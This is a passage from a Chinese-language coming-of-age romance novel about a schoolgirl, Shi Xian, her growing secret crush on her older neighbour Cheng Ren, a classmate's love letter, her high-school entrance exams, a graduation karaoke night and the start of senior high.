程任将工作室未来一年的工作计划放在程立万面前,并附上了已经吸收到的投资款数额和后续资金使用安排,连目前市场反馈数据也汇总了一份,一起摆在了程立万面前。 任清芸坐在旁边翻下来,眼中的惊喜逐渐放大,连夸了程任好几句。 程立万一言不发,但眼中神色逐渐温和,阴沉了一个多星期的脸终于开始有了放晴的迹象。 程任见他有所松动,拿着计划书开始详细地说着工作室的规划和安排,从想法雏形到筹备初期,再到搭建团队,吸引投资。程立万一言不发,只坐在一旁面无表情的听他说了将近两个小时。 任清芸在一旁添了一次又一次茶。 话毕,程立万轻咳了一声,将计划书放到桌子上,喝了口任清芸递过来的茶,起身回书房去了。 你要做就做吧。 任清芸高兴地忍不住拍手,回过头笑着看向程任。 程任露出如释重负的笑容,脑海中突然想到一句话。 我们都应该去做自己想做的事情。 少女,12 外婆60岁生日,恰逢时献初二上学期期末考,张玉淑只好带着时慕先回。 任清芸已经提前放了暑假,程立万和程任都不在家,阿姨请了假,任清芸一人在家无事就直接把时献的三餐包在自己家,打算亲自下厨。 这天上午时献刚考完最后一科,因为生理期腹痛不止面色有些发白。任清芸开门时见她面色有异,刚打算问她电话就响了起来。 是学校教委那边的事情,说的比较急,她匆忙收拾了一下叮嘱了时献桌上有做好的饭就出了门。 时献走到餐桌边,放下书包,桌上的菜用防尘罩罩好,两菜一汤,都是新鲜的时蔬和她爱吃的牛肉,份量也足,但现在她却没有一点胃口。 走到沙发边坐下打算缓一缓再起来吃饭,往下一靠就渐渐滑下去了。 时献捂着肚子,陷入半梦半醒之间,嘴里迷糊地小声哼哼着,眉头皱成一团,额间有层细汗,客厅供着地暖,温热的环境一蒸,面色就红了起来。 好痛…… 不知过了多久,时献感觉到有人在摸她的额头,轻轻叫她,“献献,醒醒……” 她迷糊地睁开眼睛,程任的脸在她面前逐渐清晰,此时正一脸担心地看着她。 “程任哥哥。” 听到她虚弱的声音,程任内心一紧,从柜子下拿出体温计。 “来,我们测个体温,你好像发烧了。” 程任声音低沉,因为担心放轻了声调,显得格外温柔好听,时献乖乖听话,接过来测了温度。 38.5度 程任把她从沙发上扶起来,拿起外套就要带她出门,刚伸手拉了她一把,时献就皱紧眉头,小声呼喊,“疼……” 一只胳膊被程任拽着,另一只手捂住小腹。程任一看愣了会儿立马反应了过来,面色有些尴尬,轻咳了一声,将外套罩在她身上,自己背对她蹲下来说:“上来,我背你去医院。” 进门诊挂了号,排完队,将时献安置好,程任终于舒了口气。 他伸手护着调慢了输液速度,怕时献觉得冷,也不知道管不管用,伸手握住一节输液管。 程任往下调整了坐姿,让时献将头靠在自己肩膀上,时献本来就乏力,靠着没一会儿就想睡觉,但腹痛还断断续续,整个人迷糊一会儿又清醒一会儿,没输液的另一只手还捂着小腹。 程任将刚刚临出门顺手抓的沙发上的毯子盖在她腰腹处,又将后侧掖了掖。 郑院的电话突然打进来,程任立刻接起来,放轻了音调。 “你那边搞定了吧?几点到车站啊?要不我去接你,咱们直接车站碰头一起去见吴总吧,能快点儿。” 程任偏过头看了眼时献,她眉目紧锁,脸色还有点发白。 “我……家里有点事,今晚估计赶不回来了。” “什么?出什么事儿了?怎么了?” “没什么,献献发烧了,我陪她在医院输液,家里没人,这会儿走不开,晚上可能得辛苦你和天齐去应酬了。” 郑院在电话那头略舒了口气,“说这话,没事儿就好,那你照顾好献献,我们这边不用惦记了,前天咱们谈的挺好的,估计晚上能成,放心吧。” “嗯,我明天就回来。” “不用着急,今晚这事儿能搞定明天我们也得睡大半天,你在家歇一天也没事儿,别急着往回赶了,行了,明天我醒了给你说情况,先挂了啊。” 时献被声音唤醒,抬头看到程任正低头挂电话,两人目光刚好撞上。 “醒了?” “程任哥哥……” 程任伸手摸了摸她的额头,好像有点退烧了,“还难受吗?” 她摇摇头。 “那,肚子还疼吗?” 时献脸色有点红,低头摇了摇,小声说:“好多了,不疼了。” 点滴走到尾声,值班的护士过来替时献拔了针,贴好绷带。时献脸色比刚进来好转了不少,程任见她无恙,起身牵着时献的手腕出了医院。 两人回到家天都黑了,家里没开灯,任清芸还没回来。程任进了屋饿得不行,时献也是,程任看到客厅桌上放着菜,直接拿去厨房热了。 两人坐在餐厅面对面吃饭,程任吃的比较快,三两下就解决了。时献因为不舒服进食缓慢,米饭没吃多少,喝汤比较多。 “程任哥哥,吃饭不能这么快,消化不好,容易胃疼。” 时献面无表情,说的话认真,看起来像板起脸教训人,程任突然有些想笑。 “呵,有点饿,吃的有点快了,下次吃饭我慢点吃。” 程任看她碗里汤见底,指了指,“还要吗?” 时献拒绝,不是很吃的下了。 “你这样吃的太少了,晚上会饿的。” 时献将筷子放下,脸上有点愁苦,“已经不饿了,嘴里发苦,不是很想吃东西,晚上早点睡觉就好了。” 嘴里发苦,程任想了想,让她去沙发上休息,自己出门去了。 时献这会儿虽然还是没什么力气,但身体已经没有不适感,她一人无聊,就靠在飘窗边透过玻璃看着屋外,等程任回来。 窗外天色漆黑一片,路灯亮着昏黄的光,玻璃窗外的院子里开始飘雪,起先只是一点点,慢慢像鹅毛一样,越下越大,覆盖着院子里的绿植。 他好像没带伞啊? 时献正想着,程任就推开院门进来了。 他将羽绒服的拉链拉到最上面,戴着连帽,灰色围巾围住脖子,大半张脸藏在羽绒服里,只一双好看的眼睛露在外面,看起来特别显小。他一手揣在上衣兜里,另一只手里拿着一包东西,不太看得清是什么。 时献从飘窗上滑下来,快步去给他开了大门。程任一进屋,外面的寒风就裹着雪花飘进来,他将时献往里推了推,脱下羽绒服抖了抖,挂在玄关。弯身换了鞋,递给她一包彩色的水果糖。 时献有些惊喜地接过来,“理想园的彩虹糖!” 她剥了一颗柠檬味的放进嘴里,被刚开始的味道酸的眯了下眼,“都好久没吃过了,他家的味道一点都没变啊。” 程任伸手拨了拨,挑了颗草莓味的,“嘴里还苦吗?” 时献笑着摇头,声音有些愉悦的上扬,“不苦啦不苦啦。” 正值隆冬,屋外飘着雪,屋内温暖如春,充满了柠檬和草莓的香气。 2. 情书 时献最近有点烦。 进了初三课业变得紧张,班里连以往不学习的人都开始努力了,每天下课只要出了趟教室再回来的时候桌上一定能被试卷覆盖成雪白一片。她虽然成绩很好但还是为了崇安一中不敢松懈分毫,倒不是怕考不进,她怕进不了实验班。 时献咬咬牙,将早起调了半小时用来背单词,怕太困,就在院子里一边背一边走来走去,连摇椅都不敢坐了。效果还挺好,不至于因为起太早背着背着睡过去。 时献就这样枯燥地重复着,每天除了上课,做题,下课再也没有别的消遣,有时候疲惫的连路上有人打招呼也懒得回。 但她最近突然发现,好像有人总偷看她,每次感受到视线回望过去时又抓不到源头,这让她莫名烦躁。 一天放学后,她回到家准备打开书包写作业,刚拉开拉链就发现里面放了一封信,拆开一看,吓得她差点丢出去。 那是一封情书。 初中生恋爱的事她也不是不知道,同年级还有班上偷偷交往的人她也在江琪的八卦下有些了解。但时献在家活泼,去了学校却是话少安静的性格,不太掺和同龄人八卦聊天,家境好穿着好,再加上太过扎眼的成绩,落在大多数人眼里未免带了些傲气,所以就算她长相在同龄人当中初显出挑,却颇有种可远观不可亵玩的意味。 时献从没遇到表白这种事,但眼下这情书不知什么时候塞到她这里,她突然就懵了,好像遇到了不会解的数学题一样。 她一字一句的看着信,信里说一直很关注她,觉得她很可爱,但平时没有什么机会说话,想和她交个朋友。 时献翻到最后一页落款,夏藤。 这是谁?时献想了半天也没想起来,犹豫了半天,给江琪发了信息。 刚发出去没一分钟江琪电话就打了过来。 时献揉了揉耳朵,电话那头的声音有些兴奋和吵闹。 “夏藤?献献你为什么突然要问他?他怎么了?跟你表白了?” 时献莫名脸一红,“你,你怎么知道的?” “拜托他看你好久了好不好,好几次偷看你都被我发现,果然是喜欢你!” “为什么你都没跟我说?” “我有次跟你说夏藤老看你,你说你不知道夏藤是谁好吗?我怕你不高兴,就没继续说。” “对了,他就坐在你后面三排的右边,靠墙那一组,看起来特别斯文,戴个眼镜,白白嫩嫩的,成绩嘛中等,平时也不太爱说话,上周语文课上老郑还提问过他,但是他没答上来,后来老郑就叫你答,想起来没?” 时献认真回想了一下,好像确实有这么回事,那天老郑问了个文言文翻译,那篇练习文出自《战国策》节选,稍微难了点,一连叫了好几个人都答不上来,后座的男生支支吾吾了半天因为脸涨的通红大家还笑了起来,老郑到最后无奈的只能问到时献这里,她文言文一向是强项,课外阅读量又足够,翻译的非常标准,和答案基本一致,老郑这才满意,让站着的一堆人坐下了。 夏藤…… “献献啊,妈妈出去买点东西,锅里炖着汤你看一下啊。”张玉淑突然推开房门,时献吓得连忙将情书塞到书桌内侧,但动作幅度大了些,藏匿的样子是掩盖不了了。 张玉淑心生疑虑,走了过来,“干什么呢这是?藏什么了?” “没……,没什么。”时献心里发虚,慌的不行。 张玉淑伸手往里够,掏出褶皱的几张纸,扫了几行,脸色就有些难看了。 “妈妈……这个……不是我……” 张玉淑略沉了口气,也没发火,把信折起来,“这个妈妈先帮你收着,你快中考了,心思放在学习上,其他事情不要乱想,知道了吗?” 时献张口想辩。 “还有啊,班上的男同学找你说话尽量少搭理,这复习时间这么紧哪里有空说别的呢?知不知道?” 时献想再解释也终究没开口,犹豫了一下,低下头,“我知道了。” “行了你好好做作业吧,汤我来看着就好,等会儿下来吃饭。” “知道了。” 房门被带上,时献有些无奈的靠在椅子上,她明明什么都没做,连情书的主人都不太记得,就被教育了。她从来不惹事,也没惹什么早恋的故事让家长和老师紧张,但发现了别人写的情书,张玉淑好像并不想相信她可以处理好这件事,时献觉得有些委屈。 早恋对父母真的像洪水猛兽一样可怕吗?她不理解,为什么张玉淑会这么担心这件事,明明她从没做过什么,成绩也一直很好。 可是任清芸不是这样的,高中的时候程任就非常受欢迎,任清芸还经常和程任开玩笑,可以请喜欢的女孩子来家里做客,程任拒绝后任清芸还有些失望。 时献趴在书桌上,心里烦躁地想,程任哥哥好像一直做什么都很好,连让父母讳莫如深的早恋问题都和别人不一样。 她一点点想着程任的过往,他的成绩,他的好脾气,他耐心的给自己解题,他从不像同龄的男孩子一样说脏话,他还爱干净,能把房间收拾的整洁。 他声音还很好听,成年后声线很有磁性,他和人说话的时候很温柔,他还很好看。 …………………… 真的好多优点啊,时献崇拜的想着。 窗台的风一阵阵吹的有些舒服,时献枕着桌上的书,想着想着就睡着了。 她做了一个梦。 梦里她考上了崇安一中的实验班,张玉淑开心的给了她一个大红包让她出去玩,她拿着红包跑去隔壁找程任,想叫他一起去绿宝石买蛋糕庆祝。 按了按门铃,程任开了门,笑着将她迎了进去,时献看到他身边站着一个好看的女孩子。程任看着对方笑得十分宠溺,开心的向她介绍,“献献,这是我女朋友。” 时献觉得非常生气,为什么之前她从来不知道?程任不是说创业很忙根本没时间考虑感情问题吗?这个女朋友怎么突然出现的?她看着对方一声不吭,气的想哭。 那个好看的女孩子走过来,和程任一样叫她献献,朝她伸出手来想牵她。 时献终于忍不住了,将手里的红包丢过去,喊了一声,“不许这样叫我。”就跑开了。 “献献,醒醒,吃饭了,献献……”时献被叫醒,眼神迷离地看着张玉淑,还没反应过来。 张玉淑心里有些后悔,轻轻摸了下时献的脸颊,“怎么还哭了,妈妈刚刚不是在骂你。” 时献伸出手背擦了下脸,她……哭了? 张玉淑见她愣神,以为还没缓过来,伸手抚了抚她的背,“好了,不哭了,妈妈不说了,起来吃饭吧,好吗?” 时献脑袋发懵,惯性点点头,张玉淑似乎不打算再谈情书的事,态度温柔了不少,她心中却越发慌张,脑中有一个可怕的感受越来越清晰。 她不想程任交女朋友。 时献踏着拖鞋踩着楼梯台阶往下走,拖鞋落地很轻,但她却觉得每走一下落地声砸在心上震的轰轰作响,一级一级落下,一级一级敲定。 她不想程任那样看别人。 14,秘密 中考来的比想象中快多了。 时献拿着考试袋准备出门,张玉淑拉住她又将考试用品检查了一遍。 张玉淑想送她,但时献拒绝了,学校离家太近了,骑自行车不过才十来分钟,她熟悉的闭着眼睛都能走到,实在是没必要送来送去。 时献推着自行车出了院门,刚踩上脚踏,就发现链条脱了。时献将车停在一边,蹲下来,从袋里抽出纸巾打算尝试装回去。 时献将手指裹着纸巾塞进去,用另一只手扶着车固定,手指勾了勾,尝试往上托。刚用力几下链条就脱手了,纸巾被蹭掉,链条上的黑油蹭脏了手指。 时献有点挫败,看来她是真的不擅长。 程家院门被拉开,时献抬头看了眼,程任站在门边看到她露出了惊讶的表情。 时献也惊讶,程任创业的公司不是很忙吗?这不年不节的怎么突然回来了? “考试不是九点吗?这才七点多,怎么出门这么早?” 时献想到上次的梦,忘了回答问题,反而探出头往程任身后看去,像是在找什么人。 “看什么呢?在找什么?” 程任往前走了几步,蹲到自行车旁边,帮她接起了链条。时献见他随便鼓捣了几下,链条就接上了。 时献还微怔着。 程任觉得她有点怪怪的,以为是考试紧张,伸手在她面前晃了晃,刚伸手就看到自己手指沾了脏油,眼神示意了一下她手里的纸巾,时献反应过来,连忙抽了一张递过去。 “考试紧张了?”程任一边擦着手一边关心地问。 “没……呃,有……有点儿……” 前言不搭后语,支支吾吾,程任心想这难道是考试综合症?放缓了语气宽慰,“别紧张,你成绩一向稳定,只要做题的时候细心,答题卡涂好,不会有问题的。” 时献只好应下。 程任接过自行车,直接骑上去,掂量了一下,说实话,这车对他来说实在太矮了,他看了眼自己的腿,长出车高度大半截,他一米八的身高,真要骑这辆粉色小可爱,实在显得蹩脚。想了想决定将它推回自己院子里,挪出自己的自行车。 程任抬腿骑上车,一只脚撑地,一只脚踩上踏脚板,双手扶着车头,冲着时献笑得阳光又温柔,“上车,哥哥送你去考试。” 大概是怕她紧张,时间又还早,程任一路骑的很慢,边骑边和她说话。一会儿问她要不要吃早餐店的汤包,一会儿问她渴不渴要不要买点水带着,悠闲的不像去考试,倒像去……像什么呢?时献没敢深想。 两天考试很快过去,程任来回都接送着,时献坐在后座观察着沿路送考的家属队伍,大多都是父母接送,也有爷爷奶奶,只有她不一样。程任大概是心情很好,来去一路都是笑容满面,衬得整个人格外温柔好看,引起了不小的回头率。 考完最后一场的晚上,时献在家刚洗完澡,江琪的电话就打过来,毕业聚会当晚就有人组团将聚会定在城中一家很有名的KTV-盛世,时献本来不想去,她在班上人缘一般,去了也是和熟悉的几个人说话,预感可能是很无聊的一个晚上。但想想不论怎样都同班了三年,这些人不管陌生还是熟悉以后应该很难再聚齐,心里突然生出一种莫名的不舍,她顿了几秒,很快应下了。 盛世的位置好,服务和环境都算是附近一流,来之前必须提前预定,更别说在毕业季这种时候。时献穿过人群,看了眼包间号,212,推门进入。 时献和迎面的人打了招呼,挑了个靠边的位置,拿起桌上一瓶未开的果汁,揭了瓶口喝了起来。 时献伸头找了找江琪的位置,她正扎在人堆里和人摇骰子玩的不亦乐乎。时献看了眼就靠回位置上,打算就这么坐到结束。 背景音切了歌,是有人点了周杰伦的《晴天》,时献熟悉这首歌,前奏响起的时候,心脏突然“砰砰”快速跳动了两下。 正听着歌,身旁突然有人递过来一份小蛋糕,十分小巧,上面缀着一颗红色樱桃,看起来十分可口。 “你晚饭,吃了吗?要不要……吃点东西。” 时献这才偏过头,坐在她身侧的一个男生手里还维持着推东西的动作,时献细细看了眼,白T恤,黑色中裤,非常简单学生气的打扮,戴着一副黑框眼睛,男生眉眼长得十分秀气,干干净净的一张脸,很乖巧。可能是紧张,脸颊有些绯红,只是包间内灯光昏黄,看不太明显。 时献突然想到江琪上次在电话里跟她说过的。 他就坐在你后面三排右边的位置,靠着窗。 他不爱说话,很腼腆。 他是夏藤。 时献收了思绪,她晚上是吃了饭出门的,但看着他十分局促不安的样子,拒绝的话就说不出口了,伸手接了过来,礼貌地点点头,“谢谢你,刚好有点饿。” 男生似乎得到了巨大的鼓励,抿了抿嘴唇,微微做了个放松的表情。又想到刚刚的对话,连忙回道。 “不,不客气。” 时献只好从桌上拿起蛋糕,开始吃起来。 晴天正放到副歌部分,歌词辗转缠绵,充满了暗恋的味道。 从前从前,有个人爱你很久,但偏偏,风渐渐,把距离吹的好远。 好不容易,又能再多爱一些,但故事的最后你好像只是说了…… 时献一颗心被唱的七上八下,程任的脸不知为什么从刚刚开始就在眼前晃来晃去,一份香甜的蛋糕吃的食不知味,表情也越来越凝重,整张脸都写满了心事。 夏藤不知道她在想什么,以为蛋糕不好吃,有些不安的略微向前探身,努力稳住声音问道:“是……不好吃吗?你不喜欢的话就不要吃了,这边还有别的零食。” 时献被打断胡思乱想,立马回道:“哦不是,我,我吃饱了,蛋糕很好吃。” 为了表示真的好吃,她冲夏藤露了个非常开心的笑,唇角上扬,眼里含了暖意,白皙的皮肤在灯光下非但不显暗反而更显流光溢彩。夏藤被这明亮的样子晃了下眼,从脸颊一下红到耳根后去了。 时献看到他的反应,一时有些尴尬,不知该怎么继续说话,沉默了会儿,看着自己手指上蹭到的一点奶油,借口出去洗手离开了包间。 盛世的男女洗手间各分两侧,但洗手池是公共的。时献刚伸手旁边就有人在叫她。 一偏头,夏藤站在旁边,时献更觉尴尬,他一手揪住衣角,脸色还有些涨红,似乎想说些什么,但迟迟没有下文。 水池旁边左右来往的人不断,路过的人似乎觉得有趣,来往都好奇地看过来,时献也是尴尬万分,只好硬着头皮问他:“夏藤,你有什么事吗?” 男生似乎十分惊讶,立刻抬头,眼神里带着藏不住的惊喜,“你,你记得我?” 似乎觉得这样问太奇怪,两人同班三年,没说过几句话,记得这个词也不合适,但他也想不出别的。 时献收回手,纸巾盒在夏藤身后,她不好去拿,就这么任双手湿淋淋的撑在水池边缘。 夏藤鼓起了些勇气,看向时献,声音还是有点颤抖,“我,我以为你对我一点印象都没有,上学期有次大扫除,我不小心弄翻了水桶,弄脏了你的裙子,你不但没怪我,还,还安慰我不用放在心上,后来,后来,你还和我一起擦完了窗户。” 时献听完有些懵,又仔细回想了下,夏藤说的那件事她有印象,那次的水桶是夏藤提过来的,用来让大家擦窗户,但旁边的一个男生没站稳不小心撞过来,这才打翻了水桶,溅了时献的裙摆和鞋子。她当时心里惦记着数学没考好,并没太将这件事放在心上,现在被夏藤一提醒,那天站在一边局促不安道歉的人和眼前人的就重合了。 原来是这样的小事衍生的,时献想到收到的那封情书,尴尬消除了几分,对着他说:“其实都是小事,你真的不用太放在心上,那天我在想别的事情,没关注其他事,你也不用……不好意思。”她犹豫了一下,只好用了这么个词。 “那,那你收到了……我给你的……” 时献怕他说出口,连忙应下,“收到了,谢,谢谢你,我……总之谢谢你吧。” 似乎觉得不够,时献又加了一句,“祝你这次考试结果理想。” 旁边突然有人像终于忍不住一般笑出声来,时献一惊,回头去找声音来源。 程任正站在身后,一动不动地看着她,脸上挂着浅浅的笑,没什么别的情绪。倒是站在程任身边的郑院,这会儿已经笑到直不起腰来了,一只手扶着程任的肩膀,笑到颤抖。 “阿任,我们,我们献献真的哈哈哈哈,太可爱了,哈哈哈哈哈……” “她,你听见没啊,人家跟她表白,她,她祝人家考试顺利哈哈哈哈哈哈哈哈哈” 程任白了他一眼,将他的手从肩上拽下去,朝着时献走过来。 时献心里打鼓,慌到不行,下意识回头看夏藤的方向,人已经不知道什么时候跑走了。 “早走啦别看啦小献献,人家都被你伤到心了,哪儿还敢继续待着呢。”郑院稍微缓过来了,只是面上仍然笑的毫不留情。 程任从旁边的抽纸盒里抽出纸巾,伸手拽起她撑在水池旁的手想帮她擦干,不知道想到什么,顿了一下就将纸巾塞到她手里。 “擦干水。”他这样说。 时献立刻听话,乖乖擦干净水渍。 程任看了眼夏藤跑走的方向,又收回目光问时献:“同学聚会?” 时献点点头,莫名不敢再说什么。程任又问:“结束了吗?还要不要回去?” 时献摇头,程任略一思忖,“那我送你回家吧,时间也不早了。” 郑院非常无语,嚷嚷起来,“哇阿任你别跟个老古董似的好不好,这才九点多,献献都中考完了,这大好的夜晚,人家年轻人刚出来玩儿你就给人送回家,人献献父母都没管这么严的。” 说完略弯了腰,自顾自地问时献:“别听你哥哥瞎说,这大好的夜晚难得出来玩儿别急着回去,小献献,我看你这样子也不好回原来的趴,不如来你郑哥哥这趴玩儿怎么样?” 程任推了把郑院前倾的身子,“你别添乱。” “这怎么能是添乱呢?咱们就自己人玩儿,又没事儿,哎呀人家都这么大了,你管的也太严了,又不是她爸。” 程任无奈,看向时献,“去玩吗?就我和郑院,陆天祈,还有几个高中同学,你基本都见过。” “好。”爽快答应。 郑院看起来十分开心,自顾自往前带路,“好嘞,跟着你郑哥哥走着~” 程任和时献走在后面,时献低着头,刚才的慌张还没完全消退,这会儿不知道该怎么和程任说话。 程任看她一脸局促,怕小姑娘脸皮薄也不好再继续问,两人就这么无声走着。 进了包厢,果然大多都是熟脸,见他们带回来一个小妹妹都友善地和时献打招呼,时献一一打了招呼,也不觉尴尬。时献突然发现,她对程任的朋友倒比自己班上更熟。 郑院挪去点歌台,问时献点什么,时献连忙摇头,说自己不会唱歌。 郑院这就不信了,“不对啊小献献,你们附中当年校庆的时候你还出节目了吧,我记得有合唱,不用不好意思,大家都闹着玩儿,他们这些人唱歌一个个跟鬼哭狼嚎似的,你随便嗷两嗓子都跟天籁似的,放心敞开了唱。” 坐郑院旁边一男生听这话直接一脚踹过去,“说谁鬼哭狼嚎呢,你自己还差不多,别带上其他人。” 时献看向程任,谁知他也在看自己,眼里似乎带着期待,他知道自己会唱歌,瞒不过去。时献受不了程任的眼神,一颔首,鬼使神差地报上歌名。 是《晴天》 故事的小黄花,从出生那年就飘着,童年的荡秋千,随记忆一直晃到现在…… 没想到失去的勇气我还留着,好想再问你一遍,你会等待还是离开…… 从前从前,有个人爱你很久,但偏偏,风渐渐,把距离吹的好远…… 时献声线清透,有几个地方发音偏轻,听起来带着朦胧感,仿佛隔着距离在说故事,她安静唱着,歌词越直白她越不敢看程任。她唱的,是少女的心事,是懵懂的爱恋,是感情生根发芽后的无措,是她没办法说出口的秘密。 暑假 成绩出的很快,时献毫无悬念地进了崇安一中实验班,张玉淑高兴地打电话给时中伟报喜,又打给舅舅家、外婆家、叔叔家,大半个上午都在通话,末了又去隔壁跟任清芸说了好久。 时献当然喜不自胜,她拉开书桌前的抽屉,剥开层层笔记本,最下面压着一张高考志愿书。 她笑着看着上面程任写的字,觉得自己离目标又进了一步,她要和程任一样,考他考的学校,要和他一样优秀,她正在做,她会做到的。 时慕不知什么时候溜进来,站在她身后,看着时献手中的志愿书,念了起来。 “高,考,志,愿,书。” 时献连忙收起,一脸紧张地看着时慕,“你,你干嘛突然过来,回自己房间做作业去。” 时慕不听这些,好奇地问,“姐姐,你不是才考上一中嘛,怎么有高考志愿书?” 时献头大,将手背在身后,一手推着时慕出去,“别人给我的,你回去写作业,妈妈一会就回来了,你偷懒被妈妈逮到要揍你的。” 时慕撇了嘴,有些不高兴,“妈妈去隔壁找清姨了,才不会这么快回来呢,姐姐你好小气,又不是什么好宝贝,都不给我看。” “回你房间去,小孩子问题那么多。” 时慕见耍赖不成,耷拉着脑袋回了自己房间。 时献松了口气,关上房门,将志愿书折好,重新放了回去。 她坐在书桌前想了想,拿出手机给程任发了条信息。 程任哥哥,我考上实验班了。 大概过了几分钟,信息回过来。 真厉害,我下个月回家,给你带礼物,想要什么想好告诉我。 时献抱着手机往床上一躺,开心地打了个滚。 时献到最后也没想好要什么,除了想不出,也是不太好意思直接跟程任要东西,她含糊地只说想吃绿宝石的蛋糕就再不肯说其他,程任也就没再继续问。 程任回来的那天,她已经在家无聊的过了两个月,假期实在太长了,突然很不习惯不用写作业不用补课的暑假。这两个月里,时献和江琪出去玩了好几次,又去外婆家和奶奶家待了段时间,到最后,无聊到在家辅导时慕写作业。 有人按门铃,时献跑出去开了院门。程任站在门外,手里提着绿宝石的蛋糕盒冲她笑,时献突然觉得八月的夏天好像没那么炎热难耐了。 两个小姑娘都爱吃蛋糕,开心的不得了,连忙拆开包装。程任拆了碗碟工具盒取出塑料刀,切分了蛋糕,非常小心地没有破坏上面缀着的奶油花,两个小姑娘一人一朵。 一楼室温偏低,风扇开着前后窗户通着风,手边的桌子上摆着冰箱里刚取出的饮料,时慕喝旺仔,时献喝雪碧,程任要了一瓶芬达。三瓶饮料在桌子上排排坐,他们三个人也在桌子后排排坐,从左到右按身高呈直线下降趋势,仔细一看姿势还十分统一,都盘腿坐在地上吃着蛋糕。电视机里放着周星驰的电影,三个人慢慢入了戏,看得津津有味,没一会儿纷纷笑成一团。 午后暑气渐褪,院子里的绿植被热度蒸出浓郁的香味,地下斑驳一片,是让人喜欢的夏天。 假期还剩不到一周的时间,时献收了心打算整理开学需要的东西。笔记本和一些小文具快用完了,她算着开学需要的东西,打算出门采购一下。 约了江琪一起,两人去了经常光顾的文具店。江琪偏好颜色鲜艳图案亮丽的本子,没一会儿就挑了一摞。时献性子不急,慢悠悠的看着,图案不太在意,本型一致,厚度足够,颜色舒服就行,笔记本嘛,还是纸张比较重要,好的书写感会给繁重的学业增添一些舒适感。她看了一圈定下了几本,又去挑一些零碎的小工具,什么便利贴、小剪刀、分页贴、荧光笔、固体胶,零零星星选了十几样。 时献学习有个癖好,执着于笔记的整洁度和条理性,什么重点难点错漏点一定要特别标注,笔记的逻辑性也要用不同的符号来表达前后的差异轻重,虽然需要多花点时间,但她的笔记通常融合了重要参考资料的所有内容,复习到最后,除了偶尔翻教材,所有的重点基本都在笔记本上,她整理起来乐此不疲。 结账的时候江琪看她挑了一筐小零碎,忍不住感叹,“还是这么夸张啊。” 时献眨眨眼,故作郑重地说:“工欲善其事,必先利其器!” 江琪叹气,“你不觉得你太努力了吗,以前倒还好,好像就是从初二开始,感觉你像打了鸡血一样,明明成绩已经很好了,还是这么努力,你是已经想好了以后要考什么学校了吗?” 时献略愣了一下,“多努力点总是好事,就算现在不知道以后想做什么,但考高分,去好的学校,总会有更多的选择权,至少万一哪天有了想做的事,不会因为分数不够而做不了,对吧。” 江琪撑在结账台前,歪头看着时献,突然觉得,她有种超出年龄的成熟感。 两人很快结了账,店主早就熟悉了,看她们买的多,还一人附送了一个简式笔袋。 刚出门就差点被面前一辆急速经过的自行车撞到,骑车的人是个年龄相仿的男生,从侧面看留着平头,身量较高,山地车骑得飞快,经过文具店门口的时候没有减速,时献和江琪只感觉眼前带过去一阵风。 江琪气的叉腰破口大骂,男生显然没打算回头,只留了个被风吹起衣角的背影,时献听到链条声逐渐远去,然后是一句回音。 赶时间对不住了啊! “太过分了,多危险啊刚刚,这条路又不是大道,来往这么多店面,不知道减速啊!这刚刚要不是我们走的慢,就给撞个正着了。”江琪气的牙痒痒。 “别让我再逮到他!” 时献见人已走远,只好作罢,宽慰了江琪几句就拉着她回去了。 夜幕降临,窗外一片宁静,天上挂着星星。时献拉开阳台门,走到阳台侧边,看向隔壁二楼的阳台,程任不在家,二楼的灯是暗着的,时献就这么默默看着,站了好一会儿才回了房。 拉上窗帘,她将备好的东西装进书包。略想了会儿,又拉开抽屉,从里面拿出一个盒子,从里面取出一块崭新的手表,白底简约风的表盘,配着浅玫瑰金的金属表带,秀气又好看。时献十分宝贝地摸了摸表面,将它放在书包旁边。 新的阶段就要开始了,时献这样想,她会很快长大的。 高一 一中的分科是从一入学就开始选定的,时献毫不犹豫地选了文科,直接进入文科实验班。 江琪分数刚过统招线,选了文之后就只能等待随机分配。时献交完费出来的时候,正看到她在大厅拥挤的人群里挣扎着寻找自己的姓名。 “找到了找到了!哎让一让让一让,让我出去啊你再进,别挤别挤,哎哎……” “可给我热坏了。”江琪刚挣扎出人群,一手捏着缴费单一手擦着额头的汗。 “你在几班?”时献问道。 “二班,就在你……隔壁的隔壁,近吧!”江琪笑着回道。 “以后就能趁着下课去找你了,放学了咱们也好一起走啊,我还担心给我分到十几班去呢,到时候要跟你隔两个楼层,就异地了。” 时献噗嗤一声笑出来,“异地?你不要说的这么吓人好不好,你用词这么不羁老郑肯定不想承认你是附中出来的,出去别说是他学生。” 江琪正在兴头上,并不反驳,“我语文太差了嘛,但我有自知之明啊,出去绝对不打师大附中金牌语文教师老郑的名头出去招摇撞骗,要是被高中的语文老师问到师承何方,我就说我是自学成才,坚决不砸他招牌。” 时献笑着摇头,“行吧,就你嘴贫,说相声似的。” 江琪做了个鬼脸,挽着时献的手往外走。 “明天就开学了,好快啊,感觉暑假很长又好像过的很快。” “你不是说太久了在家待得太无聊了吗?” “那开学也是没有好日子的嘛,恶魔的高中要开始了,虽然有点期待,但咱们好日子肯定到头了,下一个这么悠闲的假期应该要等高考了。” 时献点头表示同意。 好想拨动时间轴啊,时献算着时间,高考的时候她就成年了。 两人走在一中的林荫道上,过往经过的学生不断。一中的面积很大,校内建筑漂亮,风景也好,入学的新生都十分兴奋。 江琪拉着时献边走边看,经过一处玻璃陈列窗前的时候,时献停住了脚步。 那里张贴着一整面玻璃窗的优秀毕业生照片。 大概只用了3秒,就锁定了位置。 03届理科实验班程任 18岁的程任脸庞稍显稚嫩,青涩气质明显,眉眼间还是一如既往的温润。他穿着一中校服,很普遍的白蓝款,但还是能穿出和别人不一样的感觉,时献总觉得他的照片被放大了好几倍,以至于自己一眼就能在千篇一律的证件照里找到。 江琪指着程任旁边的照片说:“这个人长得好帅啊,但是看起来感觉好凶。” 时献将目光偏过去,这是……陆天祈? 以前偶尔被程任带着出去玩的时候,见过几次,印象中话很少,性格沉静但是不算孤僻,脸上虽然没有太多表情但面色还算柔和。但这张照片看起来,少年眉目凌厉,虽然好看,但面色未免太冷,眼神中带着不耐,生人勿近的气场十分明显。 总之和时献见过的那个陆天祈很不一样。 “哎呀这个更帅啊,你看你看,校草吧这是,看着脾气就很好的样子,比旁边这个好多了。” 江琪拽着时献的胳膊兴奋地指着程任的照片,时献内心有些骄傲感油然而生,但出于某些情绪,思量了一下也没再说什么。 两人又逛了会儿,摸熟了附近的小吃店就回去了。 隔日正式开学,时献家离得有点远,直接放弃了骑车改坐公交。 江琪家离得更远,直接在学校附近租了房子,时献出门的时候给她发了信息,两人约了校门口集合一起去小卖部买早餐,她到现在还没回,估计是还没醒,时献看着暗屏的手机叹了口气,上了公交车。 